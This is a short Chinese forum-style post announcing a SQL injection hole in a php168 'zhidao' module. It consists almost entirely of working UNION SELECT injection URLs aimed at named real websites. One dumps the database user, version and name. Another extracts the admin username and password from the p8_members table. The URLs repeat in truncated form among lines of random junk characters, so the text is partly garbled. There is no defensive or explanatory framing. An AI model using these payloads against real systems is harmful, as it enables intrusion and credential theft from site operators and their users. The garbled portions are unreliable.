php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
/ C( F; h( ?3 y* @1 N; E                                       

http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
$ c" o+ J7 A+ e( w& v& F                                                                  
                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
! c% ^- M# q4 ?9 ~) Q
. U; x! M0 F* Z9 i* @1 C8 M
+ z* |+ V7 e+ G+ ~1 z+ }
5 Q4 ]: u, U2 ~' Y0 \                                                            
' B) w# e. y5 _  @9 A! [
9 J% C! P7 n3 h9 I' F* m5 k" S5 ahttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--

* G5 B- E6 T% K: R  L& K4 k
) ]+ X: e3 E9 O: {5 }6 ~
' _5 \) I4 P; y0 z$ K; W6 j9 b                                                                    
# P7 O# s# `$ t+ y